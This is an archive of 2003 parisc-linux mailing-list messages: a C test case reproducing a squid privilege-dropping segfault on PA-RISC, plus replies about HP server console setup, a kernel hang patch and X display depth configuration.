NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:17 +0000 (UTC)
Cc: "Luigi Gangitano" <luigi@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 10:01:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54ED64830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 10:01:32 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18dvaa-0001aR-00; Wed, 29 Jan 2003 18:01:28 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 29 Jan 2003 18:01:26 +0100
In-Reply-To: <20030113031109.GI1177@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17531

Hi Randolph,

As per your request, I do spent some time to compose this 'small' test case
bases on simplified parts of squid:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

/* getpid(), geteuid()  */
#include <sys/types.h>
#include <unistd.h>

/* setgroups() */
#include <grp.h>

/* mkdir() */
#include <sys/stat.h>
#define MAXPATHLEN 256

/* waitpid() */
#include <sys/wait.h>


char *effectiveUser="proxy";
uid_t effectiveUserID=13;
gid_t effectiveGroupID=13;

/* Define if you have the setgroups function.  */
#define HAVE_SETGROUPS 1

/*
 * Yay! Another Linux brokenness.  Its not good enough to know that
 * setresuid() exists, because RedHat 5.0 declare setresuid() but
 * doesn't implement it.
 */
#define HAVE_SETRESUID 1

#undef HAVE_SETRESUID
/*
 */

/*
man setresuid NOTES:
       Under  HP-UX  and  FreeBSD the prototype is found in <unistd.h>. 
Under
       Linux there is so far no include file giving the prototype - this
is  a
       glibc bug. Programs using this system call must add the prototype
them-
       selves.
*/
#ifdef HAVE_SETRESUID
/* because man setresuid mentionned it as a lake of linux? */
int
setresuid(uid_t ruid, uid_t euid, uid_t suid);
#endif

/* Define if you have the seteuid function.  */
#define HAVE_SETEUID 1

/*
 * xstrerror() - strerror() wrapper
 */
const char *
xstrerror(void)
{
    static char xstrerror_buf[BUFSIZ];
    static char strerror_buf[BUFSIZ];

    snprintf(strerror_buf, BUFSIZ, "%s", strerror(errno));
   
    if (strerror_buf) 
	snprintf(xstrerror_buf, BUFSIZ, "(%d) %s", errno, strerror_buf);
    else
        snprintf(xstrerror_buf, BUFSIZ, "(%d) Unknown", errno); 
    return xstrerror_buf;
}

/* leave a privilegied section. (Give up any privilegies)
 * Routines that need privilegies can rap themselves in enter_suid()
 * and leave_suid()
 * To give upp all posibilites to gain privilegies use no_suid()
 */
void
leave_suid(void)
{
    fprintf(stderr, "leave_suid: PID %d called\n", (int) getpid());
    if (geteuid() != 0)
	return;
    /* Started as a root, check suid option */
    if (effectiveUser == NULL)
	return;
#if HAVE_SETGROUPS
    setgroups(1, &effectiveGroupID);
#endif
    if (setgid(effectiveGroupID) < 0)
	fprintf(stderr, "ALERT: setgid: %s\n", xstrerror());
    fprintf(stderr, "leave_suid: PID %d giving up root, becoming '%s'\n",
(int) getpid(), effectiveUser);
#if HAVE_SETRESUID
    if (setresuid(effectiveUserID, effectiveUserID, 0) < 0)
	fprintf(stderr, "ALERT: setresuid: %s\n", xstrerror());
#elif HAVE_SETEUID
    if (seteuid(effectiveUserID) < 0)
	fprintf(stderr, "ALERT: seteuid: %s\n", xstrerror());
#else
    if (setuid(effectiveUserID) < 0)
	fprintf(stderr, "ALERT: setuid: %s\n", xstrerror());
#endif
}

static void
setEffectiveUser(void)
{
    leave_suid();		/* Run as non privilegied user */
    if (geteuid() == 0) {
	fprintf(stderr, "Squid is not safe to run as root!  If you must\n");
	fprintf(stderr, "start Squid as root, then you must configure\n");
	fprintf(stderr, "it to run as a non-priveledged user with the\n");
	fprintf(stderr, "'cache_effective_user' option in the config file.\n");
	fprintf(stderr, "Don't run Squid as root, set 'cache_effective_user'!\n");
        abort();
    }
}

static int
storeUfsDirCreateDirectory(const char *path)
{
    int created = 0;

    if (0 != mkdir(path, 0755)) {
	fprintf(stderr,	"Failed to make swai directory %s: %s\n",
	    path, xstrerror());
    }
    return created;
}

static void
storeUfsDirCreateSwapSubDirs(char * Path)
{
    int i, k;
    static char name[MAXPATHLEN];
    for (i = 0; i < 16; i++) {
	snprintf(name, MAXPATHLEN, "%s/%02X", Path, i);
        storeUfsDirCreateDirectory(name);
	fprintf(stderr, "Making directories in %s\n", name);
	for (k = 0; k < 32; k++) {
	    snprintf(name, MAXPATHLEN, "%s/%02X/%02X", Path, i, k);
            storeUfsDirCreateDirectory(name);
	}
    }
}


static void
storeUfsDirNewfs(char * Path)
{
    fprintf(stderr, "Creating swap space in %s\n", Path);
    storeUfsDirCreateSwapSubDirs(Path);
}

void
storeCreateSwapDirectories(void)
{
    int i;
    pid_t pid;
    int status;
    for (i = 0; i < 1; i++) {
	if (fork())
	    continue;
        storeUfsDirNewfs("/var/spool/squid");
	exit(0);
    }
    do {
	pid = waitpid(-1, &status, 0);
    } while (pid > 0 || (pid < 0 && errno == EINTR));
}


int
main(int argc, char **argv)
{
    /* only opt_create_swap_dirs */

    setEffectiveUser();
    fprintf(stderr, "Creating Swap Directories\n");
    storeCreateSwapDirectories();

    return 0;
}

A. On a testing debian system (ie gcc-3.0 3.0.4-10 && libc6 2.2.5-14.3) and
the very last kernel 2.4.20-pa23:

Compile with gcc -O 2 -Wall -D_REENTRANT foo.c -o foo

[ Create a user and a group named proxy with id 13 for both ]

First as it is ./foo would failled to fork() immediately with 'Segmentation
fault'.

Secondly edit foo.c to comment out #undifined HAVE_SETRESUID; it would reach
to fork without problem (eventhough it did not reach to create dir)

B. On an unstable debian (ie gcc-3.2 3.2.2-0pre6 && libc6 2.3.1-10) running
the same kernel: this problem doesn't occure.

hth,
    Joel


>-- Original Message --
>From: Randolph Chung <tausq@debian.org>
>To: Matthew Wilcox <willy@debian.org>
>Cc: Luigi Gangitano <luigi@debian.org>,
>	parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] Issues with seteuid()?
>Reply-To: Randolph Chung <tausq@debian.org>
>Date: Sun, 12 Jan 2003 19:11:09 -0800
>
>
>> I wonder how it can be a problem at all.  The kernel implements only
>> sys_setresuid() and i would imagine that glibc implements both
>> seteuid() and setresuid() in terms of this system call.
>> 
>> Perhaps someone who's willing to touch glibc would care to comment?
>
>seteuid() works fine in simple tests. i don't think it's seteuid...
>something else is broken. can someone provide a simple test case for the
>segfault?
>
>randolph
>-- 
>Randolph Chung
>Debian GNU/Linux Developer, hppa/ia64 ports
>http://www.tausq.org/
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: AW: [parisc-linux] Installing on a HP Server D200/210 Console Problem
Date: Wed, 29 Jan 2003 19:37:17 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <B1A56C6F-33B8-11D7-A9C1-0030656F07A2@esiee.fr>
References: <65BE8DA1757BDC49AE257B67560C8C96012A334B@ls203.land-sbg.gv.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622158 20730 80.91.229.3 (22 Nov 2014 02:09:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Lehner Hartwig" <hartwig.lehner@salzburg.gv.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 11:37:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5266482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 11:37:21 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id D807649C77; Wed, 29 Jan 2003 19:37:16 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 7A25E49C51; Wed, 29 Jan 2003 19:37:16 +0100 (CET)
In-Reply-To: <65BE8DA1757BDC49AE257B67560C8C96012A334B@ls203.land-sbg.gv.at>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17532

Hi,

I'm just suggesting you should read the mailing-list archive before=20
posting,
and also check the official PA-RISC/Linux website:

http://www.fr.parisc-linux.org/

which contains lots of useful data about the "How & Why" Linux on=20
PA-RISC (including
a FAQ, some HOWTOs, technical documentation and related links).

You would have found there the link to our website and to our=20
PA-RISC/Linux Boot HOWTO,
and eventually the answer to your question.

Obviously, since you were not the first person to ask that kind of=20
question in the last
couple of weeks, I might have become a bit gruff in my answers.
No hurt intended.

One last - but essential - thing: NEVER answer directly to a mail=20
posted on the m-l.
At least, ALWAYS CC the m-l, so that everyone may take advantage of=20
(and participate to)
the exchange; and to feed the archive for later questions.

Hope that helps,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

On mercredi, jan 29, 2003, at 18:22 Europe/Paris, Lehner Hartwig wrote:

> I do not quite understand what you mean with that answer but thanks=20
> for answering anyway.
>
>> -----Urspr=FCngliche Nachricht-----
>> Von: Thibaut VARENE [mailto:varenet@esiee.fr]
>> Gesendet: Mittwoch, 29. J=E4nner 2003 17:58
>> An: Lehner Hartwig
>> Cc: parisc-linux@lists.parisc-linux.org
>> Betreff: Re: [parisc-linux] Installing on a HP Server D200/210
>> Console Problem
>>
>>
>> http://pateam.esiee.fr/doc.html
>>
>> Thibaut VARENE
>> The PA/Linux ESIEE Team
>> http://pateam.esiee.fr/
>>
>> --=20
>> How funny it is to repeat the same URLs in such a short amount of
>> time.
>>
>> -------------------
>>> Hello
>>>
>>> I want to start using Linux on HP Server and tried to install it on
>> a
>>> D210. It boots, but stops to tell me that I have to change the
>> console.
>>> I looked in the FAQ's and other documentation and only found
>> references
>>> to HP workstations. Is there a How To for HP Server somewhere
>>> Thank you
>>> _______________________________________________
>>> parisc-linux mailing list
>>> parisc-linux@lists.parisc-linux.org
>>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>>
>>>
>> Thibaut VARENE
>> PA/Linux ESIEE Team
>> http://pateam.esiee.fr/
>>
>>
>
>




From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel hang.
Date: Wed, 29 Jan 2003 11:11:51 -0800 (PST)
Lines: 69
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301291109010.235-100000@jordan.eng.nateng.com>
References: <20030128050823.57726.qmail@web12507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622158 20736 80.91.229.3 (22 Nov 2014 02:09:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:18 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 12:12:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9269482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 12:12:30 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0TJR5p25483
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 11:27:05 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0TJBpP01551
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 11:11:51 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <20030128050823.57726.qmail@web12507.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17533

Where was the patch posted?  I don't have access to the CVS tree so I
downloaded the pa23 tarball {which was newer that the pa22 I was using} it
is hanging too...

I'm assuming your patch-2.4.20-pa23.diff.gz is to patch from pa22 to
pa23..

Thanks.

On Mon, 27 Jan 2003, Derek Engelhaupt wrote:

>
> How long did you let it wait?  Some of the machines prior to the C200 (my C360 doesn't do it either) seem to hang, but after 20 mins take off.  It's a bus walk issue that takes forever.  There was a patch for this that was posted recently to see if it resolved this issue.  Let it sit there for awile and see if it eventually starts booting.
> derek
>  Sir Ace <chandler@nateng.com> wrote:
> I compiled 2.4.20, and set it up to boot from the new kernel.
> Unfortunately it hung, at the
> 'if this the last message you see' part...
> I can't find anything in the FAQ, and I didn't find anything in the bug
> liste... The machine is a J210, any ideas? Or what kind of info should I
> send?
>
> On Mon, 27 Jan 2003, Sir Ace wrote:
>
> >
> > Duh, I forgot that vmlinux gets dropped in /usr/src/linux...
> > my bad...
> >
> > On Mon, 27 Jan 2003, Sir Ace wrote:
> >
> > >
> > > Does vmlinuz work on hp?
> > >
> > > On Mon, 27 Jan 2003, Randolph Chung wrote:
> > >
> > > > > make boot doesn't work, and make vmlinux doesn't seem to be right
> > > > > either...
> > > > >
> > > > > What is the target for a kernel build?
> > > >
> > > > make vmlinux is the right target for harddisk boot. for network boot you
> > > > want make palo
> > > >
> > > > randolph
> > > >
> > >
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
> ---------------------------------
> Do you Yahoo!?
> Yahoo! Mail Plus - Powerful. Affordable. Sign up now



From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel hang.
Date: Wed, 29 Jan 2003 12:24:59 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20030129192459.GE1108@dsl2.external.hp.com>
References: <20030128050823.57726.qmail@web12507.mail.yahoo.com> <Pine.LNX.4.33.0301291109010.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622158 20740 80.91.229.3 (22 Nov 2014 02:09:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 12:24:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D0D224831; Wed, 29 Jan 2003 12:24:59 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0301291109010.235-100000@jordan.eng.nateng.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17534

On Wed, Jan 29, 2003 at 11:11:51AM -0800, Sir Ace wrote:
> Where was the patch posted?

Normally patches should be posted on ftp.parisc-linux.org/patches.
But in this case it's in the mail archive:

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018980.html

grant


From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: X windows setup on C110 with woody and kernel-2.4.20pa22
Date: Wed, 29 Jan 2003 20:56:36 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <200301292056.36440.deller@gmx.de>
References: <5D69EA3878E6D411B43C00508BFD7283049FB54D@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622159 20744 80.91.229.3 (22 Nov 2014 02:09:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 12:57:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5A639482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 12:57:32 -0700 (MST)
Original-Received: (qmail 20418 invoked by uid 0); 29 Jan 2003 19:57:30 -0000
Original-Received: from pD9040DC9.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.201)
  by mail.gmx.net (mp018-rz3) with SMTP; 29 Jan 2003 19:57:30 -0000
User-Agent: KMail/1.5.9
In-Reply-To: <5D69EA3878E6D411B43C00508BFD7283049FB54D@exchange2.elgin.edu>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17535

Hi Miten,

Please don't remove parisc-linux@lists.parisc-linux.org from the receivers =
in the future.

=46rom your dmesg this is the important part:

STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071B
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf4100000

So, if you change the in SubSection "Display" the Depth to 32 it should wor=
k:
Example:
    SubSection "Display"
                Depth           32               # 8, 16, 24 or 32 (acordin=
g to "fbset -i")
                Modes           "1280x1024"     # "1024x768" or "1280x1024"
        EndSubSection

You don't seem to have HIL, but IIRC the ps/2 driver uses the same /dev/inp=
ut/mice=20
interface.

Regards,
Helge




From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Um,
Date: Wed, 29 Jan 2003 13:13:20 -0800 (PST)
Lines: 7
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301291311490.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622159 20745 80.91.229.3 (22 Nov 2014 02:09:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:19 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 14:13:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 951E5482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 14:13:25 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0TLSZp28831
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 13:28:35 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0TLDKu01630
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 13:13:20 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17536

I quickly browsed /patches, but there doesn't seem to be anything that
tells about them, {mor ethan thier names} or if they have already been
includeded in a tree....
Is there a list of some sort or should I just use all the patches?




From - Thu Nov 08 21:26:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: X windows setup on C110 with woody and kernel-2.4.20pa22
Date: Wed, 29 Jan 2003 22:59:32 +0100
Organization: ESIEE
Lines: 18
Approved: news@gmane.org
Message-ID: <20030129225932.6d2392cf.varenet@esiee.fr>
References: <5D69EA3878E6D411B43C00508BFD7283049FB54D@exchange2.elgin.edu>
	<200301292056.36440.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622159 20751 80.91.229.3 (22 Nov 2014 02:09:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:19 +0000 (UTC)
Cc: mmehta@elgin.edu, parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 14:59:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3125A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 14:59:38 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep14-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030129215935.RFUH23710.viefep14-int.chello.at@Bibou>;
          Wed, 29 Jan 2003 22:59:35 +0100
In-Reply-To: <200301292056.36440.deller@gmx.de>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
